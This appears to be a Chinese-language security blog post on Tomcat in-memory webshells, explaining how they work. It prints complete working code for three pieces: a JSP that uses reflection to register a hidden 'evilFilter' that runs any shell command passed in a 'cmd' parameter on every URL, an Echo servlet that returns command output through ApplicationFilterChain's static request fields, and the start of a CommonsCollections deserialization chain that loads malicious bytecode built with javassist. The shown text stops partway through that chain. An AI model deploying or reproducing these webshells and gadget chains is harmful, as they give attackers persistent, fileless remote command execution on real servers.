Tomcat内存马基础可以看我的上一篇:https://www.0kai0.cn/?p=240
前言-fliter等内存马局限
具体新建servlet的过程:
https://blog.csdn.net/gaoqingliang521/article/details/108677301
新建一个servlet:package org.example;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet(“/servlet”)
public class servlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException{
resp.getWriter().write(“hello servlet”);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
}
}
配置tomcat:应用程序上下文表示http访问servlet的地址,这里就是localhost:8080/servlet。
自定义的filter:import javax.servlet.*;
import java.io.IOException;
public class filterDemo implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println(“Filter 初始化创建”);
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println(“执行过滤操作”);
filterChain.doFilter(servletRequest,servletResponse);
}
public void destroy() {}
}
修改web.xml,指定url-pattern为/demo
,也就是访问
http://localhost:8080/servlet/demo时触发filter,一直刷新一直触发。<?xml version=”1.0″ encoding=”UTF-8″?>
<web-app xmlns=”http://xmlns.jcp.org/xml/ns/javaee”
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”
xsi:schemaLocation=”http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd”
version=”4.0″>
<filter>
<filter-name>filterDemo</filter-name>
<filter-class>org.example.filterDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDemo</filter-name>
<url-pattern>/demo</url-pattern>
</filter-mapping>
</web-app>
分析之前在项目结构->模块->依赖里导入tomcat/lib的包。
Filter内存马代码:// filterTrojan.jsp
<%@ page import=”java.lang.reflect.Field” %>
<%@ page import=”org.apache.catalina.core.ApplicationContext” %>
<%@ page import=”org.apache.catalina.core.StandardContext” %>
<%@ page import=”org.apache.catalina.core.ApplicationContextFacade” %>
<%@ page import=”org.apache.tomcat.util.descriptor.web.FilterDef” %>
<%@ page import=”java.io.IOException” %>
<%@ page import=”java.io.InputStream” %>
<%@ page import=”java.util.Scanner” %>
<%@ page import=”java.util.Map” %>
<%@ page import=”java.lang.reflect.Constructor” %>
<%@ page import=”org.apache.catalina.core.ApplicationFilterConfig” %>
<%@ page import=”org.apache.catalina.Context” %>
<%@ page import=”org.apache.tomcat.util.descriptor.web.FilterMap” %>
<%@ page contentType=”text/html;charset=UTF-8″ language=”java” %>
<%
Field appContextField = ApplicationContextFacade.class.getDeclaredField(“context”);
appContextField.setAccessible(true);
Field standardContextField = ApplicationContext.class.getDeclaredField(“context”);
standardContextField.setAccessible(true);
ServletContext servletContext = request.getSession().getServletContext();
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
if (request.getParameter(“cmd”) != null) {
boolean isLinux = true;
String osTyp = System.getProperty(“os.name”);
if (osTyp != null && osTyp.toLowerCase().contains(“win”)) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{“sh”, “-c”, request.getParameter(“cmd”)} : new String[]{“cmd.exe”, “/c”, request.getParameter(“cmd”)};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter(“\\A”);
String output = s.hasNext() ? s.next() : “”;
response.getWriter().write(output);
response.getWriter().flush();
}
chain.doFilter(request, response);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(“evilFilter”);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
Field filterConfigsField = StandardContext.class.getDeclaredField(“filterConfigs”);
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put(“evilFilter”, filterConfig);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern(“/*”);
filterMap.setFilterName(“evilFilter”);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
out.println(“Inject done”);
%>
先访问一遍jsp文件,就能在pattern任意路径带上参数RCE。
Tomcat回显
而且根据不同的封装,jsp都内置了不同的获取request和response的方法。比如filter可以用ServletRequest获取;Listener用ServletRequestEvent获取;Servlet用HttpServletRequest获取;valve管道更是直接使用request和response对象。所以不用考虑回显问题。
但是反序列化通用的是注入字节码,要进行回显就需要获取request和response对象。
ApplicationFilterChain的lastServicedRequest 和 lastServicedResponse 都是静态变量。如果不是静态变量,还需要获取到对应的对象,才能获取到变量。
在ApplicationFilterChain的static部分,static部分都是优先执行。ApplicationDispatcher.WRAP_SAME_OBJECT默认False,所以lastServicedRequest/lastServicedResponse初始化为null。
Class applicationDispatcher = Class.forName(“org.apache.catalina.core.ApplicationDispatcher”);
Field WRAP_SAME_OBJECT_FIELD = applicationDispatcher.getDeclaredField(“WRAP_SAME_OBJECT”);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);//由于private,设置为可修改
Field f0 = Class.forName(“java.lang.reflect.Field”).getDeclaredField(“modifiers”);
f0.setAccessible(true);//获取modifiers进行去除final修饰符
f0.setInt(WRAP_SAME_OBJECT_FIELD,WRAP_SAME_OBJECT_FIELD.getModifiers()& ~Modifier.FINAL);
如果使用了final修饰,而没有使用static修饰,可以调用setAccessible(true)获得修改权限,或者修改Modifier,去除final修饰符;如果同时使用了static和final,则只能通过修改Modifier去除final修饰符来获取修改权限;
去除final修饰符。WRAP_SAME_OBJECT_FIELD.getModifiers()& ~Modifier.FINAL
lastServicedRequest/lastServicedResponse也需要去除final才能进行修改。Class applicationFilterChain = Class.forName(“org.apache.catalina.core.ApplicationFilterChain”);
Field lastServicedRequestField = applicationFilterChain.getDeclaredField(“lastServicedRequest”);
Field lastServicedResponseField = applicationFilterChain.getDeclaredField(“lastServicedResponse”);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
f0.setInt(lastServicedRequestField,lastServicedRequestField.getModifiers()& ~Modifier.FINAL);
f0.setInt(lastServicedResponseField,lastServicedResponseField.getModifiers()& ~Modifier.FINAL);
将WRAP_SAME_OBJECT_FIELD设置为true,并传入初始ThreadLocal进行初始化WRAP_SAME_OBJECT_FIELD.setBoolean(applicationDispatcher,true);
lastServicedRequestField.set(applicationFilterChain,new ThreadLocal());
lastServicedResponseField.set(applicationFilterChain,new ThreadLocal());
POC://Echo.java
package org.example;
import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationFilterChain;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.Scanner;
@WebServlet(“/echo”)
@SuppressWarnings(“all”)
public class Echo extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
Class applicationDispatcher = Class.forName(“org.apache.catalina.core.ApplicationDispatcher”);
Field WRAP_SAME_OBJECT_FIELD = applicationDispatcher.getDeclaredField(“WRAP_SAME_OBJECT”);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
// 利用反射修改 final 变量 ,不这么设置无法修改 final 的属性
Field f0 = Class.forName(“java.lang.reflect.Field”).getDeclaredField(“modifiers”);
f0.setAccessible(true);
f0.setInt(WRAP_SAME_OBJECT_FIELD,WRAP_SAME_OBJECT_FIELD.getModifiers()& ~Modifier.FINAL);
Class applicationFilterChain = Class.forName(“org.apache.catalina.core.ApplicationFilterChain”);
Field lastServicedRequestField = applicationFilterChain.getDeclaredField(“lastServicedRequest”);
Field lastServicedResponseField = applicationFilterChain.getDeclaredField(“lastServicedResponse”);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
f0.setInt(lastServicedRequestField,lastServicedRequestField.getModifiers()& ~Modifier.FINAL);
f0.setInt(lastServicedResponseField,lastServicedResponseField.getModifiers()& ~Modifier.FINAL);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(applicationFilterChain);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(applicationFilterChain);
String cmd = lastServicedRequest!=null ? lastServicedRequest.get().getParameter(“cmd”):null;
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(applicationDispatcher) || lastServicedRequest == null || lastServicedResponse == null){
WRAP_SAME_OBJECT_FIELD.setBoolean(applicationDispatcher,true);
lastServicedRequestField.set(applicationFilterChain,new ThreadLocal());
lastServicedResponseField.set(applicationFilterChain,new ThreadLocal());
} else if (cmd!=null){
boolean isLinux = true;
String osTyp = System.getProperty(“os.name”);
if (osTyp != null && osTyp.toLowerCase().contains(“win”)) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{“sh”, “-c”, cmd} : new String[]{“cmd.exe”, “/c”, cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter(“\\A”);
String output = s.hasNext() ? s.next() : “”;
Writer writer = lastServicedResponse.get().getWriter();
writer.write(output);
writer.flush();
}
} catch (Exception e){
e.printStackTrace();
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}
利用lastServicedRequest.get()获取request请求,将结果写入lastServicedResponse进行回显。
CC注入Tomcat
上面的测试是事先服务器就写好了POC也就是Echo类。但通常漏洞入口点是反序列化,而不能直接写文件。
根据目标服务器的CC版本,可以使用不同的反序列化链进行注入。而注入字节码一般是最通用的。
用到字节码的CC链,CC11的限制很少。
版本限制:CommonsCollections3.1-3.2.1 JDK无版本限制。
cc11(可跳过直接用POC)
利用链:java.io.objectInputstream.readObject() ->
java.util.Hashset.readobject() ->
java.util.HashMap.put() ->
java.util.HashMap.hash() ->
org.apache.commons.collections.keyvalue.TiedMapEntry.hashcode() ->
org.apache.commons.collections.keyvalue.TiedMapEntry.getvalue() ->
org.apache.commons.collections.map.LazyMap.get() ->
org.apache.commons.collections.functors.InvokerTransformer.transform() ->
java.lang.reflect.Method.invoke()
… templates gadgets …
java.lang.Runtime.exec()
该链最后通过InvokerTransformer调用newTransformer加载恶意字节码。最开始初始化随便传入一个方法,最后通过Field#set修改transform为newTransform。这是为了避免在反序列化过程中其他地方提前触发了链。InvokerTransformer transformer = new InvokerTransformer(“asdfasdfasdf”, new Class[0], new Object[0]);
利用javasist动态生成恶意字节码:// 利用javasist动态创建恶意字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass(“Cat”);
String cmd = “java.lang.Runtime.getRuntime().exec(\”calc\”);”;
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = “EvilCat” + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
// 写入.class 文件
// 将我的恶意类转成字节码,并且反射设置 bytecodes
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field f0 = templates.getClass().getDeclaredField(“_bytecodes”);
f0.setAccessible(true);
f0.set(templates,targetByteCodes);
f0 = templates.getClass().getDeclaredField(“_name”);
f0.setAccessible(true);
f0.set(templates,”name”);
f0 = templates.getClass().getDeclaredField(“_class”);
f0.setAccessible(true);
f0.set(templates,null);java.util.HashMap.put() ->
java.util.HashMap.hash() ->
org.apache.commons.collections.keyvalue.TiedMapEntry.hashcode() ->
org.apache.commons.collections.keyvalue.TiedMapEntry.getvalue() ->
org.apache.commons.collections.map.LazyMap.get() ->
org.apache.commons.collections.functors.InvokerTransformer.transform() ->
java.lang.reflect.Method.invoke()
都是CC6的内容。实例化TiedMapEntry并将生成的恶意字节码传入,得到tiedmap恶意类。HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
暂无评论内容